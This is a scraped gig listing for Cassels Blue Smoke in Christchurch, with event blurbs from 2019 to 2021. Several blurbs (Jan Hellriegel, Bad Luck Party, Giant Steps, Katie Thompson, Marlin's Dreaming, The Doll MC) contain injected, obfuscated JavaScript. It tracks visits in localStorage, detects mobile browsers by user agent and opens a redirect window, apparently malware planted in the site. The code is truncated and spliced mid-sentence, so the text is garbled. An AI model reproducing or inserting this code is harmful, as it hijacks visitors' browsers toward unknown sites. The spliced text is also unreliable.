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September 2019
New Show – Zed: 20 Years of Silencer – Christchurch
Due to popular demand - new Christchurch show added! And it's nice and early since it's on a school night! Zed are celebrating 20-years since their debut studio album ‘Silencer’ and are kicking off celebrations with three exclusive shows in Christchurch and Auckland. The most loyal of Zed fans will not want to miss this opportunity to see Zed for the first time at these intimate venues - so get in quick as tickets will sell out! Christchurch – Cassels…
Find out more »Mel Parsons – Christchurch
Needing little introduction on these shores, award-winning singer songwriter Mel Parsons is hitting the road with her new album 'Glass Heart' for an intimate solo tour of some her favourite New Zealand venues. Parsons has been a well-loved fixture on the national touring circuit for the past ten years, with a beguiling voice and a disarming line of humour that has won her a very dedicated fan base. Parsons’ new album was recorded in Los Angeles with legendary American producer…
Find out more »October 2019
Mousey Album Release – CHCH
Mousey is hitting the road for her first-ever NZ tour! One of the most exciting new acts in New Zealand music, Mousey has just announced her first-ever nationwide tour with her fresh live set and a 6 piece band to celebrate the release of her debut album LEMON LAW, due for release on October 4. The tour marks an exciting milestone for Mousey, who emerged earlier this year with the song ‘Extreme Highs’, earning her a nomination at the prestigious…
Find out more »Reb Fountain – Christchurch
UnderTheRadar and Banished Music Present REB FOUNTAIN October Tour After touring the world Reb Fountain returns to New Zealand for a premiere of new music from her highly anticipated next album, to be released 2020. An award-winning singer-songwriter Reb teamed up with Dave Khan (Marlon Williams) to produce a profoundly iconic record showcasing Fountain’s noir punk-folk songwriting style. In a prelude to what is to come, Reb offers us a chance to experience the new material full-spectrum with her stellar…
Find out more »Shooglenifty Aotearoa Tour Spring 2019
Scottish folk fusion stars Shooglenifty will be performing tunes and songs old and new when they head back New Zealand in October. Fresh from a sell-out gig at the world’s most prestigious arts event, the Edinburgh International Festival, the Shoogles are on sparkling form. Audiences in NZ will be the first to sample some of the band’s new tunes currently being prepared for their ninth studio album, slated for release in their 30th Anniversary year 2020. They will of course…
Find out more »Joan As Police Woman – Christchurch
US songwriter Joan As Police Woman aka Joan Wasser is touring Aotearoa for the first time ever this coming October, with intimate headline events lined up for Auckland, Wellington and Christchurch. The critically revered artist will play songs from her superbly titled new career-spanning collection Joanthology, a mammoth 43 track retrospective gathering together material from over a decades worth of albums, rarities and live recordings. Along with her own extensive back catalogue, the New Yorker has collaborated with such significant…
Find out more »Jan Hellriegel – Sportsman Of The Year – ChCh
To celebrate the release of Jan’s multimedia project Sportsman Of The Year - A Suburban Philosophy which includes a book, album and podcast series … Jan is embarking on a nationwide tour saying hello, singing some songs, telling some stories. There will also be a Q & A session on the book “Sportsman Of The Year - A Suburban Philosophy” Accompanist - Ben King ( Ex Golden Horse) function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const…
Find out more »Reuben Stone | Homebass Tour
As New Zealand’s representative of street music culture, Reuben plays his well-oiled live-looping show to ravenous crowds. Hand-delivering his record ‘Mountain Climber’ to the masses, one hundred and twenty shows in three months over summer in Europe and the UK is the norm for Reuben Stone. As an artist that finds his roots in dub, inspirational encounters with musicians from all over the world unlocks new pathways and ideas every year. Reuben’s set has taken on a fresh, more progressive…
Find out more »November 2019
Steve Gunn, The Unseen In Between solo tour – Christchurch
Tickets on sale 9am, Friday Aug 2nd Steve Gunn returns to New Zealand for six shows this November. His first tour since the release of critically acclaimed fourth album The Unseen In Between For over a decade, guitarist/vocalist Steve Gunn has been one the American music’s most pivotal figures - conjuring immersive and psychedelic sonic landscapes both live and on record, releasing revered solo albums ranking high on in-the-know end of year lists, alongside exploratory collaborations with artists as diverse…
Find out more »Joe Pug | Christchurch
Singer-songwriter Joe Pug will bring his The Flood In Color tour to New Zealand this November. Joe Pug’s new record “The Flood In Color” is nearly four years in the making. But that betrays the fact that the making of the album was one of the most natural and rewarding processes of his career. The album started with the goal of focusing on the simplicity of musicians playing together, live, in the same room. Recently relocating back to his childhood…
Find out more »December 2019
Bad Luck Party Tour // Christchurch, NZ
Finishing up their whirlwind year, Miss June return from their European and North American escapades for their first show in Christchurch since releasing their debut album 'Bad Luck Party.' Tickets on sale now, catch em while you can! function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const…
Find out more »You Should Be Dancing – Christchurch
You Should Be Dancing is a night of exceedingly danceable Disco Hits. A GREAT BIG DANCING DISCO CELEBRATION! We are excited to announce our final four shows for 2019! A big end of year celebration. 22/11 Tauranga - Totara St 29/11 Auckland - Galatos 06/12 Christchurch - Blue Smoke 13/12 Wellington - San Fran We play classics that you would have to be a robot not to move to. A literal Boogie Wonderland! If you're sick of needing or feeling…
Find out more »The Eastern & Barry Saunders – Christchurch
Every year, the bells chime, the treetops glisten, the reindeer hoof up and the hum of the humdrum year before gently falls away, oh and the goddamn Eastern do a christmas show. What goes around comes around and The Eastern take it as a point pride that as the years tick and the clocks tock that they still remain upright 12 years after they decided to make their first stand. For the last few goes around they've used their local…
Find out more »The Maes with Holly Arrowsmith | Christchurch
Multi-award-winning Melbourne contemporary folk outfit, The Maes (formerly The Mae Trio) will cross the ditch this December to play a seven-date tour across Aotearoa. See them in Auckland, Tauranga, Palmerston North, Wellington, Christchurch, Dunedin and Queenstown. Since 2014, The Maes have been full-time touring in Australia and overseas, winning over audiences with their striking songwriting, intricate instrumental arrangements and stunning vocal harmonies. Their touring history includes some of the world’s largest and most prestigious music festivals: the Woodford and Port…
Find out more »January 2020
Adam McGrath, The Eastern Solo
DOORS 6:30 SHOW TIME 8:30 We're kicking off 2020 with an intimate folk singing' show from one of our favorite local performers. Adam McGrath is a folk singer stationed wherever he lands. He travels the state highways and byways of New Zealand, Australia, Europe and parts beyond, slinging songs and offering up low rent barroom philosophy with his band of misfits and chancers, The Eastern. Described as “two parts Woody Guthrie, one part revival meeting and one part group hug”…
Find out more »You Should Be Dancing @ Blue Smoke
"You Should Be Dancing" is a night of exceedingly danceable Disco Hits. A GREAT BIG DANCING DISCO CELEBRATION! We are excited to announce our 2020 Summer tour! A new disco decade! We play classic Disco that you would have to be a robot not to move to. A literal Boogie Wonderland! If you're sick of needing or feeling like you need a good reason to shake your thang, or perhaps you are worried your friends will judge your over enthusiastic…
Find out more »February 2020
MY BABY LIVE! NZ Tour | Christchurch
Eccles Entertainment Presents : MY BABY LIVE! New Zealand Summer Tour Fri 28 Feb | Cassels Blue Smoke, Christchurch (R18) With Special Guest Reuben Stone! Door Sales Available from 8pm ($40 Cash Only) Dinner service from 6:30pm. About... Amsterdam-based Dutch-NZ trio MY BABY have announced a 10-date New Zealand tour to celebrate the release of their new live album out now. With a formidable reputation as a live act, MY BABY’s roots-driven hypnotic dance music has taken the world by…
Find out more »March 2020
Nadia Reid – Out Of My Province 2020 NZ Tour – Christchurch
Nadia Reid has announced her new album 'Out of My Province', released on March 6, 2020 via Nadia’s own label Slow Time Records in New Zealand and Spacebomb Records for the rest of the world. The album release will be accompanied by an initial quick run of shows in New Zealand before she heads off for international touring. NADIA REID - Out of My Province // 2020 NZ Tour March 6th - Christchurch - Cassels Blue Smoke March 7th -…
Find out more »A Soul Salute to Van Morrison
Bad Gin Sanctuary brings to you A SOUL SALUTE - VOLUME 2! A night of soul salutation to the Irish Knight himself, Van Morrison. Adam Hattaway and his 10 piece soul band, The Soul Mates will perform songs from albums; Astral Weeks, Moondance, Tupelo Honey, Saint Dominic's Preview, Veedon Fleece and more, with support from special guests to be announced! Last year this event sold out so get in quick at Undertheradar.co.nz. Show time: 8.30pm Doors open at 6.30. Visit…
Find out more »April 2020
Great Gable at Cassels Blue Smoke – All My Friends Tour
We're heading back round Aus and NZ this April in support of our new single All My Friends! We recorded it late last year at The Music Farm with Matt Corby and Alex Henriksson - have a listen below x https://lnk.to/GGAllMyFriends Great Gable w/ special guests Corduroy. / Jamilla Tickets on sale now: http://bit.ly/amf-bluesmoke *At our shows we do not tolerate anti-social behaviour of any kind. Please respect everyone around you, if you feel unsafe report it immediately and action…
Find out more »Finn Andrews (The Veils) & Band – Christchurch
DOORS OPEN 6:30 PM SHOW TIME 8:30 PM Finn Andrews (The Veils) has announced a six-date Autumn tour of Aotearoa, New Zealand this April. ??The tour includes four full band shows, and two solo performances. These include a Sitting Room Session in Hawkes Bay alongside acclaimed songwriter Lawrence Arabia, and support for the Auckland show from the beloved and mystical Carnivorous Plant Society. Other guests to be announced. FINN ANDREWS (The Veils) ?& Band ?NEW ZEALAND TOUR April 3rd -…
Find out more »Christchurch – Daniel Champagne // Cassels Blue Smoke
CHRISTCHURCH - the young Australian born, Nashville based virtuoso recently described as 'the finest guitar player of this generation' has been selling out shows around the world and now brings his world tour to New Zealand playing an intimate Christchurch show April 30 at Cassels Blue Smoke! Tickets just $25 but VERY limited here: https://www.eventbrite.com.au/e/daniel-champagne-live-at-cassels-blue-smoke-christchurch-tickets-84149446259 don't miss this, these shows have been selling out all over the world! 6:30 pm doors / 8pm show WHAT THE PRESS SAY “The word…
Find out more »May 2020
Giant Steps
Take six musicians who happen to be big Sting fans, mix saxophones, marimbas, guitars, string bass, percussion, drums, vocalists and you get a show that highlights the brilliance of The Police and Sting. They’ll perform every hit written by Sting and the band including 'Fields of Gold,' 'Set them Free,' 'Englishman in New York' and classics such as 'Roxanne', 'Message in a Bottle,' 'Every Breath you Take.' function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const…
Find out more »The Lizard Kings: The Doors Experience
Jim Morrison and The Doors reigned over the 70s with a high octane mix of music and posturing that propelled a generation headlong through the aftermath of Woodstock and Altamont and into the post-Vietnam war era. From a time of drugs, politics and lost innocence, The Lizard Kings pay tribute to the music of one of the greatest bands of all time … this is The Doors Experience. Marcus Roebuck (vocals) Liam Ryan (keyboards) Glynn Olsen (guitar) Sahn Bishop (bass)…
Find out more »July 2020
A Soul Salute to Van Morrison
Bad Gin Sanctuary brings to you, A night of soul salutation to the Irish Knight himself, Van Morrison. Adam Hattaway and his 10 piece soul band, The Soul Mates will perform songs from albums; Astral Weeks, Moondance, Tupelo Honey, Saint Dominic's Preview, Veedon Fleece and more, with support from special guests. We know you've been holding back and dreaming of the time that you can attend gigs and dance again so we are limiting the capacity to allow plenty of…
Find out more »August 2020
Katie Thompson and Ryan Fisherman with Full Bands
Katie Thompson & Ryan Fisherman live at Cassels Blue Smoke! Both bringing their alt-country swagger to the stage accompanied by their respective bands. Show time: 8.00pm Doors open at 6.30pm There is limited table seating available for this show, bookings are essential. Visit www.bluesmoke.co.nz Cassels Blue Smoke will be open and offering a pre-show dinner service from 6:30pm, the show will begin at 8pm. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const…
Find out more »*Cancelled – You Should Be Dancing at Blue Smoke
"You Should Be Dancing" is a great big DISCO DANCING celebration! A night of exceedingly danceable disco hits. Classic disco tunes you would have to be a robot not to move to. A literal Boogie Wonderland! We are very excited to present this post lockdown tour with six shows all around New Zealand. We are looking forward to getting out of the house and onto the dance floor to celebrate! If you are on the lookout for somewhere to shake…
Find out more »September 2020
Marlin’s Dreaming – Quotidian Album Release Tour @ Cassels Blue Smoke
Marlin's Dreaming live at Cassels Blue Smoke showcasing their new Album "Quotidian". The band released Quotidian in April 2020, amidst the global lockdown, an accidentally prescient album about the claustrophobia of feeling stuck; directionless. Musically, it was a shift into more serious songwriting, and an exploration of the genre that garnered wide-ranging critical praise from mastheads like NME, American Songwriter, Brooklyn Vegan, and Atwood Magazine. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return…
Find out more »November 2020
Go Live! Festival at Cassels Blue Smoke
Celebrate ?tautahi’s local music talent at Go Live! Featuring The Wendys, Emma Dilemma, The Tacks and Imperial April. Christchurch’s biggest two-week music festival is here! Go Live! features 30 local acts across 9 events and it’s all free! Cassels Blue Smoke presents the official launch party for Go Live! Festival. Expect an epic night of pop, punk and rock music. Guitar heavy power pop group Imperial April will officially kick off the festival, making their live debut. Up-and-coming goth punk…
Find out more »Tora Bombora Soundcheck – Dr. Reknaw and Molly & The Chromatics
Tora Bombora Soundcheck // CHRISTCHURCH, BLUE SMOKE Check check, two one two… TB is hitting the road! After Tora Bombora Festival sold out in three hours, we've decided to hit the road around Aotearoa with some musical favourites of the past, present and future Tora Bombora Festival line ups. Christchurch lineup features a night of musical w?hine: Wellington's favorite dub rockers: Dr. Reknaw & Auckland's groove machine Molly & The Chromatics! SUPPORT FROM - Sounds of the Local EVERY TICKET…
Find out more »Jack Page & Emily C. Browning // Blue Smoke
After far too many quiet nights at home, ?tautahi singer-songwriters Jack Page & Emily C. Browning are due to gallivant round this fine nation, playing a string of double-headlined shows this November. This spring tour will see the pair playing some brand new tunes, as well as ones already floating through the airwaves. You might hear words like, soul, pop or even jazz to describe these two, but make no mistake, they both bring their own distinct blend of songwriting…
Find out more »Daily J (w/ The Knews)
Auckland-based surf-pop group Daily J, touring in support of debut album 'Venus Ate Mars' (released Nov 20). The album includes crowd favorite 'Left Me Like Summer' as well as recent singles 'Rocket', 'Skylah', and fresh groove 'Sunshine Hides'. The new LP from the Daily J is full of highs, lows and all that is in between, deepened by a strong progression into a world of thoughts and wonderings of the absurd, alongside the sweet and catchy melodies that the band…
Find out more »December 2020
There’s A Tuesday
Christchurch's dreamy indie folk/pop group There's A Tuesday are hitting the road in support of their debut EP, 'Dance With Me Before We Cry' (released November 27). There’s A Tuesday consists of two female front-women on guitars and vocals, Nat Hutton and Minnie Robberds, with Angus Murray on bass and Joel Becker on drums. Possessing sublime harmonies and gorgeous songs, There’s A Tuesday won 2019’s Smokefree Rockquest, providing the platform to record debut single ‘Pinata Head’ at Neil Finn’s Roundhead…
Find out more »You Should Be Dancing at Blue Smoke
"You Should Be Dancing" is a great big DISCO DANCING celebration! A night of exceedingly danceable disco hits. Classic disco tunes you would have to be a robot not to move to. A Boogie Wonderland! We are very excited to present this end of year tour. We can’t wait to get out of the house and onto the dance floor to celebrate the final month of 2020! If you are on the lookout for somewhere to shake your thing and…
Find out more »February 2021
The Soul Salute to Van Morrison
Bad Gin Sanctuary presents, The Soul Salute to Van Morrison! A non-stop, 90-minute show dedicated to the Irish Knight himself. Adam Hattaway and his 10 piece soul band, The Soul Mates will perform songs from albums; Astral Weeks, Moondance, Tupelo Honey, Saint Dominic's Preview, Veedon Fleece and more, with support from special guests. Cassels Blue Smoke will be open and offering a pre-show dinner service from 6:30 pm, the show will begin at 8.30. There will be limited table seating…
Find out more »April 2021
Adam Hattaway & The Haunters // Daniel Armstrong & The Monsoons
Presented by Bad Gin Sanctuary & Birds Nest. Adam Hattaway & The Haunters + Daniel Armstrong & The Monsoons (Akl) Following a fuzz-ladened debut album ‘All Dat Love’, A.H.'s second album ‘Crying Lessons’, (produced by the acclaimed Delaney Davidson) stripped back the noise to focus on their rock'n'roll roots. With their third album, 'WOOLSTON, TEXAS', the band have found their sound. With Hattaway's songwriting following a more organic process, it channels all of the raw emotion that defines their live…
Find out more »The Doll MC NZ Tour 2021 – Christchurch
The Doll MC delivers fizzy and harmonic Garage/Punk with cavernous drums and indulgent pseudo-philosophical subject matters. Formed in Charteris Bay under lock and key during 2020, 2021 is set to be an exciting year for the Dolls. Their debut record “SUPERCONDUCTOR” will be performed live along with special guests. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt…
Find out more »Wahine Toa – Blue Smoke
W?hine Toa is an event to showcase Indigenous women of diverse ages, style and experience through storytelling, music and voice. We are asking for koha entry however we do encourage you to book a ticket as space will be limited (you can always bring more koha on the night). https://www.undertheradar.co.nz/gig/74788/Wahine-Toa.utr Please note this is an R18 event. W?hine Toa is an opportunity for wh?nau and the whole community to celebrate Indigenous women for who they are and their value in…
Find out more »The Chills – Scatterbrain Album Release Tour – Christchurch
Pre-show dinner available from 6.30pm. Bookings essential via bookings@bluesmoke.co.nz The Sound, Under The Radar and Banished Music presents The Chills - Scatterbrain Album Release Tour Having announced the release of their seventh studio album Scatterbrain, The Chills announce a nationwide tour for April / May 2021. April 16 Oamaru Club, Oamaru with ASTA RANGU April 17 Larnach Castle, Dunedin Arts Festival SOLD OUT April 18 Festival of Colour, Wanaka SOLD OUT April 30 Cassels Blue Smoke, Christchurch with MOUSEY May…
Find out more »May 2021
Team Dynamite • Respect The Process Album Tour Christchurch
Team Dynamite are thrilled to announce their first tour in over six years, in support of their top five album ‘Respect The Process’. APRIL 24TH • SMASH PALACE, GISBORNE APRIL 25TH • CABANA - NAPIER APRIL 30TH • SAN FRAN, WELLINGTON MAY 1ST • CASSELS BLUE SMOKE, CHRISTCHURCH MAY 2ND • STARTERS BAR, DUNEDIN (EARLY SHOW) MAY 6TH • TUNING FORK, AUCKLAND Together with a live band they embark on a six date tour around New Zealand, with shows in…
Find out more »Monty Bevins “Catalina” Single Release Tour
Following on from the 7 years of constant touring that fuelled the EP 'Traveller, Monty's first 2 years as a father have defied him to delve deeply into what slowing down might uncover. The single Catalina gives us an intimate insight into this world, via the imaginary lens of whoever owned that abandoned trailer sailer down the road... There had to be a song in it! $20 tickets available from UTR: https://www.undertheradar.co.nz/gig/74670/Monty-Bevins.utr Embracing change, reinventing life, and connecting to the…
Find out more »Beastwars 10 Year Anniversary tour CHRISTCHURCH, with special guests EARTH TONGUE
